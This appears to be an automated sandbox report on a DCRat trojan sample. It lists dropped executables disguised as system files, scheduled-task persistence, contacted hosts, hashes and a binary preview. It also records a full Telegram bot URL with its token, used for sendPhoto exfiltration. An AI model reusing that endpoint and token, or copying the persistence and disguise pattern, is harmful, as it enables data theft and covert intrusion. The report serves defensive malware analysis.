              C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exe59%VirustotalBrowse
              C:\Program Files\7-Zip\fvXBwqYdGYPkplbuTcoXecCdP.exe59%VirustotalBrowse
              C:\Program Files\7-Zip\fvXBwqYdGYPkplbuTcoXecCdP.exe58%ReversingLabsByteCode-MSIL.Trojan.DCRat
              C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe58%ReversingLabsByteCode-MSIL.Trojan.DCRat
              C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe59%VirustotalBrowse
              C:\Users\user\Desktop\BlUGSVrR.log4%ReversingLabs
              C:\Users\user\Desktop\BlUGSVrR.log1%VirustotalBrowse
              C:\Users\user\Desktop\DvqGSnXS.log38%ReversingLabsByteCode-MSIL.Trojan.Generic
              C:\Users\user\Desktop\EbKwZRsK.log71%ReversingLabsByteCode-MSIL.Trojan.DCRat
              C:\Users\user\Desktop\TxvLlrMg.log6%ReversingLabs
              C:\Users\user\Desktop\VHSMlJrg.log9%ReversingLabs
              C:\Users\user\Desktop\mPirFwXv.log17%ReversingLabs
              C:\Users\user\Desktop\rCAqismj.log8%ReversingLabs
              C:\Users\user\Desktop\uAazTYNi.log25%ReversingLabs
              C:\Users\user\Desktop\wxCHpYcd.log50%ReversingLabsByteCode-MSIL.Trojan.DCRat
              C:\Windows\BitLockerDiscoveryVolumeContents\fvXBwqYdGYPkplbuTcoXecCdP.exe58%ReversingLabsByteCode-MSIL.Trojan.DCRat
              C:\Windows\Microsoft.NET\fvXBwqYdGYPkplbuTcoXecCdP.exe58%ReversingLabsByteCode-MSIL.Trojan.DCRat
              C:\Windows\ShellComponents\cmd.exe (copy)58%ReversingLabsByteCode-MSIL.Trojan.DCRat

              Unpacked PE Files

              ⊘No Antivirus matches

              Domains

              ⊘No Antivirus matches

              URLs

              ⊘No Antivirus matches

              Domains and IPs

              Contacted Domains

              NameIPActiveMaliciousAntivirus DetectionReputation
              ipinfo.io
              		34.117.59.81
              		truefalse
                		high
                api.telegram.org
                		149.154.167.220
                		truefalse
                  		high

                  Contacted URLs

                  NameMaliciousAntivirus DetectionReputation
                  https://ipinfo.io/countryfalse
                    		high
                    https://api.telegram.org/bot7622199935:AAFHSUQ61526mhYJcmipjqz2DM9Zso04aBI/sendPhotofalse
                      		high
                      https://ipinfo.io/ipfalse
                        		high

                        URLs from Memory and Binaries

                        NameSourceMaliciousAntivirus DetectionReputation
                        https://api.telegram.orgBluestacks.exe, 00000005.00000002.2525083932.0000000002EC5000.00000004.00000800.00020000.00000000.sdmpfalse
                          		high
                          http://pesterbdd.com/images/Pester.pngpowershell.exe, 0000003E.00000002.2709061242.000001AD35FB7000.00000004.00000800.00020000.00000000.sdmpfalse
                            		high
                            https://api.telegram.org/botBluestacks.exe, 00000005.00000002.2518199953.0000000000BC2000.00000002.00000001.01000000.00000000.sdmp, Bluestacks.exe, 00000005.00000002.2525083932.0000000002EC5000.00000004.00000800.00020000.00000000.sdmp, Bluestacks.exe, 00000005.00000002.2525083932.000000000297E000.00000004.00000800.00020000.00000000.sdmp, BlUGSVrR.log.5.drfalse
                              		high
                              http://schemas.xmlsoap.org/soap/encoding/powershell.exe, 0000001E.00000002.2711170889.000001AE88EBA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2702418086.000001E400807000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2730085660.00000222296CF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2704914975.000001CB084A7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.2706132711.0000026B23128000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000026.00000002.2719372641.0000019538287000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000028.00000002.2689589857.0000020480227000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.2762263901.0000022F3D3E8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002C.00000002.2708333629.000002C0936A6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002E.00000002.2712206652.000001E3AB348000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000030.00000002.2727104667.000001E1BF2D6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000032.00000002.2708913289.000002590F5F6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000033.00000002.2720674085.00000240066A7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000035.00000002.2764015001.000001EF3B613000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000036.00000002.2703673478.0000017B0D156000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000003B.00000002.2686411931.000001D980228000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000003D.00000002.2687160428.0000028200228000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000003E.00000002.2709061242.000001AD35FB7000.00000004.00000800.00020000.00000000.sdmpfalse
                                		high
                                http://www.apache.org/licenses/LICENSE-2.0.htmlpowershell.exe, 0000003E.00000002.2709061242.000001AD35FB7000.00000004.00000800.00020000.00000000.sdmpfalse
                                  		high
                                  http://ipinfo.ioBluestacks.exe, 00000005.00000002.2525083932.0000000002E47000.00000004.00000800.00020000.00000000.sdmpfalse
                                    		high
                                    http://schemas.xmlsoap.org/wsdl/powershell.exe, 0000001E.00000002.2711170889.000001AE88EBA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2702418086.000001E400807000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2730085660.00000222296CF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2704914975.000001CB084A7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.2706132711.0000026B23128000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000026.00000002.2719372641.0000019538287000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000028.00000002.2689589857.0000020480227000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.2762263901.0000022F3D3E8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002C.00000002.2708333629.000002C0936A6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002E.00000002.2712206652.000001E3AB348000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000030.00000002.2727104667.000001E1BF2D6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000032.00000002.2708913289.000002590F5F6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000033.00000002.2720674085.00000240066A7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000035.00000002.2764015001.000001EF3B613000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000036.00000002.2703673478.0000017B0D156000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000003B.00000002.2686411931.000001D980228000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000003D.00000002.2687160428.0000028200228000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000003E.00000002.2709061242.000001AD35FB7000.00000004.00000800.00020000.00000000.sdmpfalse
                                      		high
                                      https://api.telegram.org/bot7622199935:AAFHSUQ61526mhYJcmipjqz2DM9Zso04aBI/sendPhotoXBluestacks.exe, 00000005.00000002.2525083932.0000000002EC5000.00000004.00000800.00020000.00000000.sdmpfalse
                                        		high
                                        https://aka.ms/pscore68powershell.exe, 0000001E.00000002.2711170889.000001AE88B91000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2702418086.000001E4005E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2730085660.0000022229321000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2704914975.000001CB08281000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.2706132711.0000026B22F01000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000026.00000002.2719372641.0000019538061000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000028.00000002.2689589857.0000020480001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.2762263901.0000022F3D0F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002C.00000002.2708333629.000002C093481000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002E.00000002.2712206652.000001E3AB121000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000030.00000002.2727104667.000001E1BF0B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000032.00000002.2708913289.000002590F3E2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000033.00000002.2720674085.0000024006481000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000035.00000002.2764015001.000001EF3B3C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000036.00000002.2703673478.0000017B0CF31000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000003B.00000002.2686411931.000001D980001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000003D.00000002.2687160428.0000028200001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000003E.00000002.2709061242.000001AD35D91000.00000004.00000800.00020000.00000000.sdmpfalse
                                          		high
                                          http://api.telegram.orgBluestacks.exe, 00000005.00000002.2525083932.0000000002EFE000.00000004.00000800.00020000.00000000.sdmpfalse
                                            		high
                                            http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameBluestacks.exe, 00000005.00000002.2525083932.000000000297E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2711170889.000001AE88B91000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2702418086.000001E4005E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2730085660.0000022229321000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2704914975.000001CB08281000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.2706132711.0000026B22F01000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000026.00000002.2719372641.0000019538061000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000028.00000002.2689589857.0000020480001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.2762263901.0000022F3D0F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002C.00000002.2708333629.000002C093481000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002E.00000002.2712206652.000001E3AB121000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000030.00000002.2727104667.000001E1BF0B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000032.00000002.2708913289.000002590F3E2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000033.00000002.2720674085.0000024006481000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000035.00000002.2764015001.000001EF3B3C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000036.00000002.2703673478.0000017B0CF31000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000003B.00000002.2686411931.000001D980001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000003D.00000002.2687160428.0000028200001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000003E.00000002.2709061242.000001AD35D91000.00000004.00000800.00020000.00000000.sdmpfalse
                                              		high
                                              https://github.com/Pester/Pesterpowershell.exe, 0000003E.00000002.2709061242.000001AD35FB7000.00000004.00000800.00020000.00000000.sdmpfalse
                                                		high
                                                http://go.micBluestacks.exe, 00000005.00000002.2476855882.000000000096B000.00000004.00000020.00020000.00000000.sdmpfalse
                                                  		high
                                                  https://ipinfo.ioBluestacks.exe, 00000005.00000002.2525083932.0000000002E6B000.00000004.00000800.00020000.00000000.sdmp, Bluestacks.exe, 00000005.00000002.2525083932.0000000002E2D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                    		high

                                                    World Map of Contacted IPs

                                                    • No. of IPs < 25%
                                                    • 25% < No. of IPs < 50%
                                                    • 50% < No. of IPs < 75%
                                                    • 75% < No. of IPs

                                                    Public IPs

                                                    IPDomainCountryFlagASNASN NameMalicious
                                                    149.154.167.220
                                                    		api.telegram.orgUnited Kingdom
                                                    		62041TELEGRAMRUfalse
                                                    34.117.59.81
                                                    		ipinfo.ioUnited States
                                                    		139070GOOGLE-AS-APGoogleAsiaPacificPteLtdSGfalse

                                                    General Information

                                                    Joe Sandbox version:42.0.0 Malachite
                                                    Analysis ID:1590004
                                                    Start date and time:2025-01-13 13:19:09 +01:00
                                                    Joe Sandbox product:CloudBasic
                                                    Overall analysis duration:0h 13m 6s
                                                    Hypervisor based Inspection enabled:false
                                                    Report type:full
                                                    Cookbook file name:default.jbs
                                                    Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                    Number of analysed new started processes analysed:76
                                                    Number of new started drivers analysed:0
                                                    Number of existing processes analysed:0
                                                    Number of existing drivers analysed:0
                                                    Number of injected processes analysed:0
                                                    Technologies:
                                                    • HCA enabled
                                                    • EGA enabled
                                                    • AMSI enabled
                                                    Analysis Mode:default
                                                    Sample name:ElixirInjector.exe
                                                    Detection:MAL
                                                    Classification:mal100.troj.expl.evad.winEXE@84/100@2/2
                                                    EGA Information:
                                                    • Successful, ratio: 33.3%
                                                    HCA Information:Failed
                                                    Cookbook Comments:
                                                    • Found application associated with file extension: .exe

                                                    Warnings

                                                    • Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, schtasks.exe
                                                    • Excluded IPs from analysis (whitelisted): 13.107.253.45, 4.175.87.197
                                                    • Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
                                                    • Execution Graph export aborted for target Bluestacks.exe, PID 3576 because it is empty
                                                    • Execution Graph export aborted for target fvXBwqYdGYPkplbuTcoXecCdP.exe, PID 8996 because it is empty
                                                    • Not all processes where analyzed, report is missing behavior information
                                                    • Report size exceeded maximum capacity and may have missing behavior information.
                                                    • Report size getting too big, too many NtAllocateVirtualMemory calls found.
                                                    • Report size getting too big, too many NtCreateKey calls found.
                                                    • Report size getting too big, too many NtOpenKeyEx calls found.
                                                    • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                    • Report size getting too big, too many NtQueryValueKey calls found.
                                                    • Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

                                                    Simulations

                                                    Behavior and APIs

                                                    TimeTypeDescription
                                                    07:20:30API Interceptor38x Sleep call for process: Bluestacks.exe modified
                                                    07:20:39API Interceptor375x Sleep call for process: powershell.exe modified
                                                    13:20:29Task SchedulerRun new task: Bluestacks path: "C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe"
                                                    13:20:31Task SchedulerRun new task: BluestacksB path: "C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe"
                                                    13:20:31Task SchedulerRun new task: cmd path: "C:\Windows\ShellComponents\cmd.exe"
                                                    13:20:32Task SchedulerRun new task: cmdc path: "C:\Windows\ShellComponents\cmd.exe"
                                                    13:20:33Task SchedulerRun new task: fontdrvhost path: "C:\Program Files (x86)\msbuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exe"
                                                    13:20:34Task SchedulerRun new task: fontdrvhostf path: "C:\Program Files (x86)\msbuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exe"
                                                    13:20:37Task SchedulerRun new task: fvXBwqYdGYPkplbuTcoXecCdP path: "C:\Windows\BitLockerDiscoveryVolumeContents\fvXBwqYdGYPkplbuTcoXecCdP.exe"
                                                    13:20:39Task SchedulerRun new task: fvXBwqYdGYPkplbuTcoXecCdPf path: "C:\Windows\BitLockerDiscoveryVolumeContents\fvXBwqYdGYPkplbuTcoXecCdP.exe"

                                                    Joe Sandbox View / Context

                                                    IPs

                                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                    149.154.167.220QUOTATION REQUIRED_Enatel s.r.l..bat.exeGet hashmaliciousPureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                      Remittance Advice.exeGet hashmaliciousMassLogger RATBrowse
                                                        PDF-3093900299039 pdf.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                          FA_35_01_2025_STA_Wz#U00f3r_standard_pdf .scr.exeGet hashmaliciousSnake KeyloggerBrowse
                                                            https://ngk.ae/hurda.html?email=lara.sutton@southerntrust.hscni.netGet hashmaliciousHTMLPhisherBrowse
                                                              https://terrific-metal-countess.glitch.me/Get hashmaliciousHTMLPhisherBrowse
                                                                6uPVRnocVS.exeGet hashmaliciousDCRatBrowse
                                                                  Udzp7lL5ns.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                                                    nfKqna8HuC.exeGet hashmaliciousMassLogger RAT, PureLog StealerBrowse
                                                                      mnXS9meqtB.exeGet hashmaliciousMassLogger RAT, PureLog StealerBrowse
                                                                        34.117.59.810t8amSU3vd.exeGet hashmaliciousCryptoWall, TrojanRansomBrowse
                                                                        • ipinfo.io/ip
                                                                        file.exeGet hashmaliciousInvicta Stealer, XWormBrowse
                                                                        • ipinfo.io/json
                                                                        Code%20Send%20meta%20Discord%20EXE.ps1Get hashmaliciousUnknownBrowse
                                                                        • ipinfo.io/json
                                                                        idl57nk7gk.exeGet hashmaliciousNeshtaBrowse
                                                                        • ipinfo.io/json
                                                                        idl57nk7gk.exeGet hashmaliciousNeshtaBrowse
                                                                        • ipinfo.io/json
                                                                        FormulariomillasbonusLATAM_GsqrekXCVBmUf.cmdGet hashmaliciousUnknownBrowse
                                                                        • ipinfo.io/json
                                                                        172.104.150.66.ps1Get hashmaliciousUnknownBrowse
                                                                        • ipinfo.io/json
                                                                        VertusinstruccionesFedEX_66521.zipGet hashmaliciousUnknownBrowse
                                                                        • ipinfo.io/json
                                                                        UjbjOP.ps1Get hashmaliciousUnknownBrowse
                                                                        • ipinfo.io/json
                                                                        I9xuKI2p2B.ps1Get hashmaliciousUnknownBrowse
                                                                        • ipinfo.io/json

                                                                        Domains

                                                                        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                        ipinfo.iohttp://cosmetological.xyz/xoqae/go?rgcid=&rx_p=&rgsubid=d-wboqentba-argGet hashmaliciousUnknownBrowse
                                                                        • 34.117.59.81
                                                                        http://clumsy-sulky-helium.glitch.me/Get hashmaliciousUnknownBrowse
                                                                        • 34.117.59.81
                                                                        6uPVRnocVS.exeGet hashmaliciousDCRatBrowse
                                                                        • 34.117.59.81
                                                                        Udzp7lL5ns.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                                                        • 34.117.59.81
                                                                        0t8amSU3vd.exeGet hashmaliciousCryptoWall, TrojanRansomBrowse
                                                                        • 34.117.59.81
                                                                        z.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                        • 34.117.59.81
                                                                        h.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                        • 34.117.59.81
                                                                        1.exeGet hashmaliciousUnknownBrowse
                                                                        • 34.117.59.81
                                                                        1.exeGet hashmaliciousUnknownBrowse
                                                                        • 34.117.59.81
                                                                        DownloadedMessage.zipGet hashmaliciousHTMLPhisherBrowse
                                                                        • 34.117.59.81
                                                                        api.telegram.orgQUOTATION REQUIRED_Enatel s.r.l..bat.exeGet hashmaliciousPureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                        • 149.154.167.220
                                                                        Remittance Advice.exeGet hashmaliciousMassLogger RATBrowse
                                                                        • 149.154.167.220
                                                                        PDF-3093900299039 pdf.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                        • 149.154.167.220
                                                                        FA_35_01_2025_STA_Wz#U00f3r_standard_pdf .scr.exeGet hashmaliciousSnake KeyloggerBrowse
                                                                        • 149.154.167.220
                                                                        https://ngk.ae/hurda.html?email=lara.sutton@southerntrust.hscni.netGet hashmaliciousHTMLPhisherBrowse
                                                                        • 149.154.167.220
                                                                        https://terrific-metal-countess.glitch.me/Get hashmaliciousHTMLPhisherBrowse
                                                                        • 149.154.167.220
                                                                        6uPVRnocVS.exeGet hashmaliciousDCRatBrowse
                                                                        • 149.154.167.220
                                                                        Udzp7lL5ns.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                                                        • 149.154.167.220
                                                                        nfKqna8HuC.exeGet hashmaliciousMassLogger RAT, PureLog StealerBrowse
                                                                        • 149.154.167.220
                                                                        mnXS9meqtB.exeGet hashmaliciousMassLogger RAT, PureLog StealerBrowse
                                                                        • 149.154.167.220

                                                                        ASNs

                                                                        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                        TELEGRAMRUQUOTATION REQUIRED_Enatel s.r.l..bat.exeGet hashmaliciousPureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                        • 149.154.167.220
                                                                        Remittance Advice.exeGet hashmaliciousMassLogger RATBrowse
                                                                        • 149.154.167.220
                                                                        PDF-3093900299039 pdf.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                        • 149.154.167.220
                                                                        FA_35_01_2025_STA_Wz#U00f3r_standard_pdf .scr.exeGet hashmaliciousSnake KeyloggerBrowse
                                                                        • 149.154.167.220
                                                                        https://ngk.ae/hurda.html?email=lara.sutton@southerntrust.hscni.netGet hashmaliciousHTMLPhisherBrowse
                                                                        • 149.154.167.220
                                                                        UWYXurYZ2x.exeGet hashmaliciousLummaC, Amadey, Babadeda, DanaBot, KeyLogger, LummaC Stealer, Poverty StealerBrowse
                                                                        • 149.154.167.99
                                                                        http://www.eovph.icu/Get hashmaliciousUnknownBrowse
                                                                        • 149.154.167.99
                                                                        http://www.eghwr.icu/Get hashmaliciousUnknownBrowse
                                                                        • 149.154.167.99
                                                                        https://telegrams-mc.org/Get hashmaliciousUnknownBrowse
                                                                        • 149.154.170.96
                                                                        https://telegramerong.cc/app/Get hashmaliciousTelegram PhisherBrowse
                                                                        • 149.154.167.99
                                                                        GOOGLE-AS-APGoogleAsiaPacificPteLtdSGhttp://cosmetological.xyz/xoqae/go?rgcid=&rx_p=&rgsubid=d-wboqentba-argGet hashmaliciousUnknownBrowse
                                                                        • 34.117.59.81
                                                                        http://clumsy-sulky-helium.glitch.me/Get hashmaliciousUnknownBrowse
                                                                        • 34.117.59.81
                                                                        https://talktalk770.weebly.com/Get hashmaliciousHTMLPhisherBrowse
                                                                        • 34.117.239.71
                                                                        6uPVRnocVS.exeGet hashmaliciousDCRatBrowse
                                                                        • 34.117.59.81
                                                                        Udzp7lL5ns.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                                                        • 34.117.59.81
                                                                        https://199.188.109.181Get hashmaliciousUnknownBrowse
                                                                        • 34.117.77.79
                                                                        https://enterprisefocus.benchurl.com/c/l?u=11FC0F0E&e=193CF6A&c=173A1E&&t=0&l=11D51F9C4&email=s8sR2EUS6pcTEMAyWZX%2BTfGL0c%2FIo%2Bud&seq=2Get hashmaliciousUnknownBrowse
                                                                        • 34.117.77.79
                                                                        https://combatironapparel.com/collections/ranger-panty-shortsGet hashmaliciousUnknownBrowse
                                                                        • 34.117.112.1
                                                                        0t8amSU3vd.exeGet hashmaliciousCryptoWall, TrojanRansomBrowse
                                                                        • 34.117.59.81
                                                                        https://hockey30.com/nouvelles/malaise-en-conference-de-presse-kent-hughes-envoie-un-message-cinglant-a-juraj-slafkovsky/Get hashmaliciousUnknownBrowse
                                                                        • 34.117.77.79

                                                                        JA3 Fingerprints

                                                                        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                        3b5074b1b5d032e5620f69f9f700ff0eReanProject.exeGet hashmaliciousUnknownBrowse
                                                                        • 149.154.167.220
                                                                        • 34.117.59.81
                                                                        QUOTATION REQUIRED_Enatel s.r.l..bat.exeGet hashmaliciousPureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                        • 149.154.167.220
                                                                        • 34.117.59.81
                                                                        Remittance Advice.exeGet hashmaliciousMassLogger RATBrowse
                                                                        • 149.154.167.220
                                                                        • 34.117.59.81
                                                                        ReanProject.exeGet hashmaliciousUnknownBrowse
                                                                        • 149.154.167.220
                                                                        • 34.117.59.81
                                                                        https://email.mg.decisiontime.online/c/eJxszjFvszAQgOFfYzbQ-c4mMHj4pK_M3TqDOZdTjR1hJyj_vkqVMeujd3hXZxnHi2_Y6Qv1hohgaHifJbbhyHu75n2W5M7z7Fb2UiSnKjt3OUVJ_CqjpJ9WVoeoxwEvL62PKz9VN5szGsd5AQoLgV-oZ2_1oPuFgrWAvWnEIaAFDaM2ZGHoAsy0DGwY2VpNoAzs328fottqvRZF_xROCqeyFV_flQonDLPC6c6HhEfr8_q0v9vmcB9xlsTdl8SS0__8qQyUfKsbH6ket1K7rfgkXeLa3B3-BgAA__-9dmXGGet hashmaliciousUnknownBrowse
                                                                        • 149.154.167.220
                                                                        • 34.117.59.81
                                                                        https://shortener.kountryboyzbailbonds.com/orVbdaZDUTFihPy?https://go.microsoft.com/ref=?ONSKE6784f8047cd90___store=ot&url=ONSKE6784f8047cd90&utm_source=follow-up-email&utm_medium=email&utm_campaign=abandoned%20helpful%20linkGet hashmaliciousUnknownBrowse
                                                                        • 149.154.167.220
                                                                        • 34.117.59.81
                                                                        PDF-3093900299039 pdf.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                        • 149.154.167.220
                                                                        • 34.117.59.81
                                                                        FA_35_01_2025_STA_Wz#U00f3r_standard_pdf .scr.exeGet hashmaliciousSnake KeyloggerBrowse
                                                                        • 149.154.167.220
                                                                        • 34.117.59.81
                                                                        rRef6010273.exeGet hashmaliciousAgentTeslaBrowse
                                                                        • 149.154.167.220
                                                                        • 34.117.59.81
                                                                        invnoIL438805.exeGet hashmaliciousAgentTeslaBrowse
                                                                        • 149.154.167.220
                                                                        • 34.117.59.81

                                                                        Dropped Files

                                                                        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                        C:\Users\user\Desktop\BlUGSVrR.logOneDriveStandaloneUpdater.exeGet hashmaliciousDCRatBrowse
                                                                          Udzp7lL5ns.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                                                            eP6sjvTqJa.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                                                              YGk3y6Tdix.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                                                                Etqq32Yuw4.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                                                                  qNdO4D18CF.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                                                                    LzmJLVB41K.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                                                                      k1iZHyRK6K.exeGet hashmaliciousDCRatBrowse
                                                                                        PbfYaIvR5B.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                                                                          d3ca1c9cdcf0f664f4c4b469ce935febb6d974693647c.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse

                                                                                            Created / dropped Files

                                                                                            C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exe

                                                                                            Download File
                                                                                            Process:C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe
                                                                                            File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):150484992
                                                                                            Entropy (8bit):0.19755066131239787
                                                                                            Encrypted:false
                                                                                            SSDEEP:49152:jjCl2oCZas6DG1pHbi/cGHueSAZR8SH2asUTnr:jjPb3SIexlH2a
                                                                                            MD5:E18151C31580AA91CEB01099DE4277B2
                                                                                            SHA1:979C02265019C77ADA5578B1CFC1A98A65F5F095
                                                                                            SHA-256:2A01AA8E358B9A949A198CA22EA8FA189990D3004467E600136142D7D97E3D08
                                                                                            SHA-512:C7CEAE4B46C186C8F36ACA7B6334E116BD42E9A164CCF382F4F29298CAC4790BA1BEA7E90DDB738A6DE925890202BFE65D606A83C9C13665701CA9C712DC915A
                                                                                            Malicious:true
                                                                                            Antivirus:
                                                                                            • Antivirus: Avira, Detection: 100%
                                                                                            • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                            • Antivirus: ReversingLabs, Detection: 58%
                                                                                            • Antivirus: Virustotal, Detection: 59%, Browse
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....f.................$ ..........B .. ...` ...@.. ........................ ...........@..................................B .K....` . ..................... ...................................................... ............... ..H............text...." .. ...$ ................. ..`.rsrc... ....` ......& .............@....reloc........ ......* .............@..B.................B .....H.......T...................S...B ......................................0..........(.... ........8........E............*...N...8....*(.... ....~....{....9....& ....8....(.... ....~....{....9....& ....8....(.... ........8........0..Q....... ........8........E....)...........r.......M.......8$...8.... ....~....{}...:....& ....8....8.... ....~....{o...9....& ....8.......... ....~....{k...:x...& ....8m...~....(_... .... .... ....s....~....(c....... ....~....{p...:-...& ....8"...

                                                                                            C:\Program Files\7-Zip\ad448380f74670

                                                                                            Download File
                                                                                            Process:C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe
                                                                                            File Type:ASCII text, with very long lines (597), with no line terminators
